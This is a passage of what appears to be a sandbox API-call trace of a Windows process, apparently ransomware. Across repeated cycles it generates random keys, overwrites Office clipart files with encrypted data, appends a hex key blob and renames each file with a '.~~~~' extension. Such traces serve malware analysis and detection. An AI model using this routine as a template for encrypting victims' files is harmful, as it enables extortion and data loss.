	[0092.322] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0092.322] WriteFile (in: hFile=0x128, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0092.322] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0092.322] WriteFile (in: hFile=0x128, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0092.322] CloseHandle (hObject=0x128) returned 1
	[0092.322] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28da600
	[0092.322] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02166_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh02166_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02166_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh02166_.wmf.~~~~")) returned 1
	[0092.323] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28da600 | out: hHeap=0x300000) returned 1
	[0092.323] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0092.324] GetLastError () returned 0x0
	[0092.325] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0048) returned 1
	[0092.326] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362fe0 | out: pbBuffer=0x362fe0) returned 1
	[0092.326] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0092.326] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362fe0 | out: hHeap=0x300000) returned 1
	[0092.326] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0092.326] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0092.326] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=21231605533) returned 1
	[0092.326] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xa0cbb9d0, dwHighDateTime=0x1d60e1e)) 
	[0092.326] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0092.326] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0092.326] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0092.326] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x387b50
	[0092.326] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0092.326] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x387b50 | out: hHeap=0x300000) returned 1
	[0092.326] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fdd78
	[0092.326] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0092.326] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28da600
	[0092.326] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fdd78 | out: hHeap=0x300000) returned 1
	[0092.327] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x389ec0
	[0092.327] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28da600 | out: hHeap=0x300000) returned 1
	[0092.327] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0092.327] GetLastError () returned 0x0
	[0092.327] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0092.327] GetLastError () returned 0x0
	[0092.329] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0xffffd44a, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0092.329] WriteFile (in: hFile=0x128, lpBuffer=0x28e0048*, nNumberOfBytesToWrite=0x2bb6, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e0048*, lpNumberOfBytesWritten=0x26dfec0*=0x2bb6, lpOverlapped=0x0) returned 1
	[0092.330] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e0048 | out: hHeap=0x300000) returned 1
	[0092.330] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0092.330] WriteFile (in: hFile=0x128, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0092.330] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0092.330] WriteFile (in: hFile=0x128, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0092.330] CloseHandle (hObject=0x128) returned 1
	[0092.330] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28da600
	[0092.331] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00233_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00233_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00233_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00233_.wmf.~~~~")) returned 1
	[0092.331] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28da600 | out: hHeap=0x300000) returned 1
	[0092.331] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0092.331] GetLastError () returned 0x0
	[0092.333] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0048) returned 1
	[0092.334] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362fe0 | out: pbBuffer=0x362fe0) returned 1
	[0092.334] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0092.334] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362fe0 | out: hHeap=0x300000) returned 1
	[0092.334] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0092.334] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0092.334] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=21232452524) returned 1
	[0092.334] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xa0ce1b30, dwHighDateTime=0x1d60e1e)) 
	[0092.335] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0092.335] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0092.335] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0092.335] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x387b88
	[0092.335] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0092.335] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x387b88 | out: hHeap=0x300000) returned 1
	[0092.335] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fdd78
	[0092.335] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0092.335] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28da600
	[0092.335] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fdd78 | out: hHeap=0x300000) returned 1
	[0092.335] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x38a7a8
	[0092.335] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28da600 | out: hHeap=0x300000) returned 1
	[0092.335] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0092.335] GetLastError () returned 0x0
	[0092.335] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0092.335] GetLastError () returned 0x0
	[0092.338] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0xfffff89c, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0092.338] WriteFile (in: hFile=0x128, lpBuffer=0x28e0048*, nNumberOfBytesToWrite=0x764, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e0048*, lpNumberOfBytesWritten=0x26dfec0*=0x764, lpOverlapped=0x0) returned 1
	[0092.339] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e0048 | out: hHeap=0x300000) returned 1
	[0092.339] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0092.339] WriteFile (in: hFile=0x128, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0092.339] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0092.339] WriteFile (in: hFile=0x128, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0092.339] CloseHandle (hObject=0x128) returned 1
	[0092.339] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28da600
	[0092.340] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00343_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00343_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00343_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00343_.wmf.~~~~")) returned 1
	[0092.340] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28da600 | out: hHeap=0x300000) returned 1
	[0092.340] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0092.341] GetLastError () returned 0x0
	[0092.341] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0048) returned 1
	[0092.342] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362fe0 | out: pbBuffer=0x362fe0) returned 1
	[0092.342] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0092.342] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362fe0 | out: hHeap=0x300000) returned 1
	[0092.342] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0092.342] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0092.342] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=21233227944) returned 1
	[0092.342] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xa0ce1b30, dwHighDateTime=0x1d60e1e)) 
	[0092.342] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0092.342] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0092.342] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0092.342] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3a23d8
	[0092.343] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0092.343] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a23d8 | out: hHeap=0x300000) returned 1
	[0092.343] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fdd78
	[0092.343] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0092.343] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28da600
	[0092.343] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fdd78 | out: hHeap=0x300000) returned 1
	[0092.343] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3cb278
	[0092.343] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28da600 | out: hHeap=0x300000) returned 1
	[0092.343] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0092.343] GetLastError () returned 0x0
	[0092.343] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0092.343] GetLastError () returned 0x0
	[0092.345] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0xfffffd48, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0092.345] WriteFile (in: hFile=0x128, lpBuffer=0x28e0048*, nNumberOfBytesToWrite=0x2b8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e0048*, lpNumberOfBytesWritten=0x26dfec0*=0x2b8, lpOverlapped=0x0) returned 1
	[0092.346] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e0048 | out: hHeap=0x300000) returned 1
	[0092.346] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0092.346] WriteFile (in: hFile=0x128, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0092.346] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0092.346] WriteFile (in: hFile=0x128, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0092.346] CloseHandle (hObject=0x128) returned 1
	[0092.346] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28da600
	[0092.346] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00346_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00346_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00346_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00346_.wmf.~~~~")) returned 1
	[0092.347] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28da600 | out: hHeap=0x300000) returned 1
	[0092.347] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0092.347] GetLastError () returned 0x0
	[0092.348] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0048) returned 1
	[0092.349] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362fe0 | out: pbBuffer=0x362fe0) returned 1
	[0092.349] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0092.349] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362fe0 | out: hHeap=0x300000) returned 1
	[0092.349] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0092.349] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0092.349] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=21233901932) returned 1
	[0092.349] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xa0d07c90, dwHighDateTime=0x1d60e1e)) 
	[0092.349] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0092.349] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0092.349] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0092.349] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3a2448
	[0092.349] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0092.349] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a2448 | out: hHeap=0x300000) returned 1
	[0092.349] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fdd78
	[0092.350] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0092.350] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28da600
	[0092.350] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fdd78 | out: hHeap=0x300000) returned 1
	[0092.350] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x38a960
	[0092.350] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28da600 | out: hHeap=0x300000) returned 1
	[0092.350] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0092.350] GetLastError () returned 0x0
	[0092.350] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0092.350] GetLastError () returned 0x0
	[0092.501] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0xfffff878, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0092.501] WriteFile (in: hFile=0x128, lpBuffer=0x28e0048*, nNumberOfBytesToWrite=0x788, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e0048*, lpNumberOfBytesWritten=0x26dfec0*=0x788, lpOverlapped=0x0) returned 1
	[0092.502] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e0048 | out: hHeap=0x300000) returned 1
	[0092.504] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0092.504] WriteFile (in: hFile=0x128, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0092.504] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0092.504] WriteFile (in: hFile=0x128, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0092.504] CloseHandle (hObject=0x128) returned 1
	[0092.504] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28da750
	[0092.504] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00351_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00351_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00351_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00351_.wmf.~~~~")) returned 1
	[0092.505] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28da750 | out: hHeap=0x300000) returned 1
	[0092.505] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0092.505] GetLastError () returned 0x0
	[0092.506] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0048) returned 1
	[0092.507] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362fe0 | out: pbBuffer=0x362fe0) returned 1
	[0092.507] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0092.507] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362fe0 | out: hHeap=0x300000) returned 1
	[0092.507] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0092.507] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0092.507] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=21249715918) returned 1
	[0092.507] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xa0e84a50, dwHighDateTime=0x1d60e1e)) 
	[0092.507] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0092.507] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0092.507] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0092.507] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x387df0
	[0092.507] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0092.507] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x387df0 | out: hHeap=0x300000) returned 1
	[0092.507] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0092.507] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0092.507] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28da750
	[0092.508] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0092.508] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x38a9f8
	[0092.508] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28da750 | out: hHeap=0x300000) returned 1
	[0092.508] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0092.508] GetLastError () returned 0x0
	[0092.508] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0092.508] GetLastError () returned 0x0
	[0092.510] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0xffff7d66, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0092.510] WriteFile (in: hFile=0x128, lpBuffer=0x28e0048*, nNumberOfBytesToWrite=0x829a, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e0048*, lpNumberOfBytesWritten=0x26dfec0*=0x829a, lpOverlapped=0x0) returned 1
	[0092.511] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e0048 | out: hHeap=0x300000) returned 1
